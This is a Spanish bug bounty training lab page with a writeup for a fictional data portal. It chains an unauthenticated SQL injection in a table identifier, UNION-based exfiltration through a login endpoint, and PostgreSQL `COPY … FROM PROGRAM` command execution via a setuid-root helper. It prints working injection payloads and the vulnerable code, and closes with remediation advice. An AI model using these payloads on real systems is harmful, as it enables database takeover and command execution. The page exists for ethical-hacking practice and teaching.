BBLABS v2BBLABSv2
>Inicio>Labs
>New labs

Últimos 3 labs

Cargando…

Ver todos los labs →
>Creators>Ranking
>Aprender

Aprender bug bounty

AcademyGuías, cheatsheets y diccionarioVulnerabilidadesXSS, SQLi, IDOR, SSRF y másHunter RoadmapTu ruta de bug bounty paso a pasoBlogGuías y noticias de bug bounty
>Empresa>Precios
EN
AccederAcceder
>Inicio>Labs>New labs>Creators>Ranking>Aprender>Empresa>Precios
EN
Iniciar SesiónCrear Cuenta
  1. Inicio
  2. Labs
  3. SQL Injection en identificador de tabla → RCE por PostgreSQL `COPY … FROM PROGRAM`
Insane$7001h 25min

SQL Injection en identificador de tabla → RCE por PostgreSQL `COPY … FROM PROGRAM`

Por @gorka

Catálogo de datos de investigación del ficticio Helios Open Data Consortium (HODC). Por debajo del portal público corre un microservicio legacy "Database Service" bajo el prefijo `/database/database/*`. Un invitado puede POSTear contra `POST /database/database/projects` sin sesión (CWE-306); el campo `tableName` de ese cuerpo es un identificador que se interpola crudo y se ejecuta por el protocolo simple de node-postgres, habilitando stacked queries. Como el rol de conexión `forge_dba` es SUPERUSER, `COPY … FROM PROGRAM` se convierte en ejecución de comandos; el endpoint es ciego, así que la salida se lee de vuelta reutilizando una SQLi companion (UNION) en `POST /database/database/login`. La flag vive en un fichero `root:600` que ni el usuario del motor de BD puede leer: solo un binario setuid-root la revela

490 visitas4 completadosActualizado ago 2026
Iniciar sesión para empezar

Aprende a encontrar este bug

Este bug pagó $700 en YesWeHack.

Crea tu cuenta y practica bugs reales que se pagaron. Descarga el entorno, encuéntralo y aprende la técnica exacta — tu camino a tu primer bounty.

hunters entrenando
650

hunters entrenando

labs de reportes reales
50

labs de reportes reales

completaciones
380

completaciones

en bounties practicados
$200.000

en bounties practicados

40 flags capturadas esta semana
Crear cuenta
Ya tengo cuenta

Acceso a todos los labs · sin permanencia · cancela cuando quieras

Hunters que lo han resuelto· 4

zynap1
@zynapHace 3 días
w4tchw0lf2
@w4tchw0lfHace 18 días
AL3
@alndrwlaHace 20 días
benjaminnocervigni
@benjaminnocervigniHace 25 días

Objetivos

1
Mapear el portal público y descubrir el microservicio legacy "Database Service"
2
Confirmar la falta de autenticación (CWE-306) en `POST /database/database/projects`
3
Explotar la SQLi companion en `POST /database/database/login` con `UNION` para volcar `app_users`
4
Aislar que solo el campo `tableName` de `/projects` es inyectable
5
Lograr RCE con `COPY pwn FROM PROGRAM '…'` sobre una tabla scratch `pwn`
6
Cruzar el límite de privilegio ejecutando el helper setuid-root que re-eleva a root
7
Reconstruir la flag y verificarla contra su md5 determinística.

Información

Plataforma
YesWeHack
Dificultad
Insane
Duración
1h 25min
Bounty
$700
Completados
4
Creador
gorka@gorka
Colaboradores
antoniorivera@antoniorivera
Actualizado
ago 2026

Descarga el entorno

Reprodúcelo y encuentra el bug tú mismo

Crear cuenta

Herramientas

Burp SuiteAI

Prerequisitos

  • SQLI
  • POSTGRES
  • BRUP SUITE

Tags

SQLiRCE

Logro que recibirás

Cuando resuelvas este lab desbloqueas este logro compartible

BBLABS.ESLab Resuelto
Insane$700
// achievement_unlocked

SQL Injection en identificador de tabla → RCE por PostgreSQL `COPY … FROM PROGRAM`

SQLiRCE
ago 2026
gorka
solved_by@gorkaMiembro desde mar 2026
bblabs.es// real bug bounty practice

Writeups de la comunidad

DataForge es el catálogo de datos abiertos del Helios Open Data Consortium (HODC), un consorcio académico ficticio que publica datasets científicos (clima, genómica, sismología, imágenes orbitales) con DOI y agrupación en "projects". El stack real es Express 4.21 + TypeScript 5.7 + node-postgres (pg 8.13) + PostgreSQL 16 + React 18 + Vite, servido en el puerto 2500. Es un lab multi-servicio: el contenedor app publica el 2500 y el contenedor db (PostgreSQL 16) es interno a la red docker, sin puerto publicado. La fachada aparenta stack enterprise-legacy: cabeceras Server: nginx, X-Handled-By: dataforge y una cookie decorativa JSESSIONID.

Recibes ámbito de pentesting sobre el entorno de staging. La UI del catálogo tiene una cuenta demo (attacker@dataforge.local / password123) que sirve solo para navegar el portal — no es la vulnerabilidad y no hace falta para el exploit, porque los dos endpoints explotables son públicos.

La cadena tiene cuatro capas, cada una con un primitivo distinto:

  • Capa 1 — Recon + missing authz (CWE-306). El frontend hace fetch contra un microservicio interno con un prefijo de ruta peculiar de doble segmento: /database/database/* (montado en server/src/index.ts). Bajo él vive el "Database Service" legacy. POST /database/database/projects (server/src/routes/databaseService.ts) no exige sesión: cualquier invitado obtiene un { count: N }. Es una superficie ciega — solo un número, ningún dato reflejado. Da inyección pre-auth, pero no un canal de lectura.

  • Capa 2 — SQLi companion en /login (protocolo extended → solo exfil). POST /database/database/login construye:

    const sql =
      `SELECT id, username, role FROM app_users ` +
      `WHERE tenant = $1 AND username = '${username}' ` +
      `AND password_hash = '${passwordHash}' AND active = true`;
    const result = await pool.query(sql, ['public']);   // ← con values ⇒ protocolo EXTENDED
    

    El tenant va parametrizado ($1), pero username se concatena crudo. Al pasar un array values, node-postgres usa el protocolo extended → una sola sentencia: un ; con una segunda sentencia da error. Por tanto UNION/error-based SÍ, stacking NO, RCE NO por esta vía. El login refleja el username de la fila devuelta ({ user: { username } }) — ese reflejo es el canal de exfiltración. La query devuelve tres columnas (id, username, role), así que un UNION con tres columnas encaja.

  • Capa 3 — SQLi principal en /projects (protocolo simple → stacking). El mismo router construye:

    const sql =
      `SELECT COUNT(*) AS n FROM ${tableName} ` +
      `WHERE folder_name = ${quoteLiteral(foldername)} AND project_type = 'project'`;
    const result = await pool.query(sql);               // ← string plano ⇒ protocolo SIMPLE
    

    foldername pasa por quoteLiteral() (comillas dobladas) → no inyectable. El campo name tampoco se usa. El único punto de inyección es tableName, un identificador que no se puede parametrizar y que se interpola crudo justo tras el FROM. Al ejecutarse como string plano (sin values), node-postgres usa el protocolo simple → múltiples sentencias separadas por ; se ejecutan en orden. Esa es la diferencia crítica con /login.

  • Capa 4 — RCE + privesc setuid + exfil cruzada (CWE-94/78/250/269). El rol de conexión forge_dba es SUPERUSER, así que COPY … FROM PROGRAM está disponible. La flag vive en /opt/dataforge/.vault/flag.txt dentro del contenedor db, propiedad root:root y modo 600. El motor PostgreSQL corre como el usuario de SO postgres, así que pg_read_file() y un COPY … FROM '<fichero>' normal fallan con permission denied. El único camino es ejecutar el helper setuid-root /usr/local/bin/df-selftest (4755 root:root), que re-eleva a root, hace cat del vault y lo imprime a stdout; COPY … FROM PROGRAM captura ese stdout. Como /projects es ciego, la salida se escribe en una tabla scratch pwn(o text) y se lee de vuelta reutilizando la UNION de /login.

La cadena completa:

  1. Recon: descubre /database/database/* en el tráfico del frontend; comprueba que POST /database/database/projects responde sin auth (superficie ciega).
  2. Companion SQLi en /login: confirma rol e identidad.
    username = zzz' UNION SELECT 1, (SELECT current_user) || ' super=' ||
               (SELECT rolsuper::text FROM pg_roles WHERE rolname = current_user), 'reader' --
    
    La respuesta refleja forge_dba super=true.
  3. Verifica el límite de privilegio con pg_read_file:
    username = zzz' UNION SELECT 1, pg_read_file('/opt/dataforge/.vault/flag.txt'), 'reader' --
    
    → permission denied. El file-read no basta → hace falta RCE.
  4. Stacking + RCE por tableName en /projects (el WHERE folder_name = 'x' AND project_type = 'project' que añade el server se pega a la última SELECT):
    tableName = app_projects WHERE 1=1;
                CREATE TABLE IF NOT EXISTS pwn(o text); TRUNCATE pwn;
                COPY pwn FROM PROGRAM '/usr/local/bin/df-selftest';
                SELECT 1 FROM app_projects
    
    Respuesta ciega ({ count: … }), pero la flag ya está en pwn.
  5. Exfil cruzada por la UNION de /login:
    username = zzz' UNION SELECT 1, (SELECT string_agg(o, chr(10)) FROM pwn), 'reader' --
    
    El username reflejado contiene FLAG{…}.

Por qué es "chain" y no una sola vuln en dos sitios. /projects da stacking + RCE + escritura pero es ciego; /login da lectura/exfil pero no stacking. El solver debe combinar ambos: escribe con uno, lee con el otro. Además la RCE cruza un límite de privilegio (uid postgres → root vía setuid), un primitivo distinto del SQLi.

Superficies distractoras (decoys). Bajo /api vive el catálogo público, honesto: GET /api/search?q= está parametrizado con $1 (parece SQLi, no lo es); GET /api/datasets?sort= usa un allow-list enum (falso "ORDER BY injection"); GET /api/health filtra db_role: forge_dba (pista legítima, pero no explotable por sí sola); POST /api/export está deshabilitado y solo hace eco del path (callejón sin salida). El objetivo real no está en /api, sino en /database/database/*.

Remediation resumida:

  • Nunca interpolar identificadores de tabla/columna desde input: usar allow-list estricta o escapeIdentifier; parametrizar todos los literales.
  • No conceder al rol de aplicación privilegios de SUPERUSER; revocar COPY … PROGRAM y funciones de I/O de ficheros del rol de conexión.
  • Autenticar y autorizar toda función que consulte la base (incluidos contadores "públicos").
  • Evitar diferencias de protocolo que habiliten multi-statement: usar consultas preparadas y no concatenar nunca.
  • Retirar binarios setuid innecesarios del contenedor de BD; aplicar no-new-privileges y montajes nosuid donde no rompan la operación legítima.

El walkthrough interactivo (con botones Run por paso) vive en /writeup dentro de la app. La verificación end-to-end está en tests/verify.py y la PoC en exploit.py.

Contacto

Practica, aprende y hackea

Plataforma de práctica de bug bounty con labs basados en reportes reales. Aprende hacking ético en entornos seguros.

contactar→

Síguenos

YouTube
@0xGorka
X
@gorkaelbochi
LinkedIn
gorka-el-bochi-morillo
Instagram
@_.gorkaaa.b
Email
team@bblabs.es

Accede a todos los labs desde 7,99€/mes

Nuevos labs cada semana. Cancela cuando quieras.

Crear cuenta

BBLabs es la plataforma de laboratorios de bug bounty en español donde aprender bug bounty con vulnerabilidades reales extraídas de reportes pagados en HackerOne, Bugcrowd e Intigriti. Aquí practicas hacking web —XSS, SQLi, IDOR, SSRF, CSRF y más— en entornos descargables, capturas la flag, lees el writeup y aplicas la técnica en programas activos de bug bounty.

BBLabs es la alternativa en español a HackTheBox, TryHackMe y PentesterLab para quienes quieren practicar bug bounty con reportes reales en lugar de CTFs artificiales. Desde 7,99€/mes, sin permanencia.

→ Aprender bug bounty desde cero→ Cómo hacer bug bounty paso a paso→ Reportes de bug bounty reales→ BBLabs para empresas y academiasLabsAcademyVulnerabilidadesHerramientasRanking de huntersLabs de XSSLabs de IDORLabs de SSRFLabs de CSRFHackTheBox alternativaHack4u alternativaTryHackMe alternativaPortSwigger alternativaPentesterLab alternativaBug Bounty Labs comparativaHackerOne para practicarOffSec / OSCP alternativaINE / eWPT alternativaHTB Academy alternativaDVWA alternativaJuice Shop alternativaVulnHub alternativaPentesterAcademy alternativaRoot-Me alternativaHackTheBox vs TryHackMeMejores plataformas bug bounty 2026BlogSpoilers¿Qué es el bug bounty?¿Cuánto se gana en bug bounty?OWASP Top 10 explicadoMejores webs para practicar hacking webCómo ser hacker ético desde ceroTutorial de Burp Suite en españolOSCP en español: guía y preparaciónGoogle Dorks para bug bountyCuánto gana un hacker ético en EspañaHerramientas de bug bounty 2026Mejores certificaciones de ciberseguridad 2026Burp Suite tutorialsqlmap tutorialffuf fuzzing webnuclei tutorialHTTP Request SmugglingWAF bypassPrompt injection (LLM)Google Dorks
Hecho cony código
TérminosPrivacidadComparativaEN

© 2026 BBLABS v2 — Todos los derechos reservados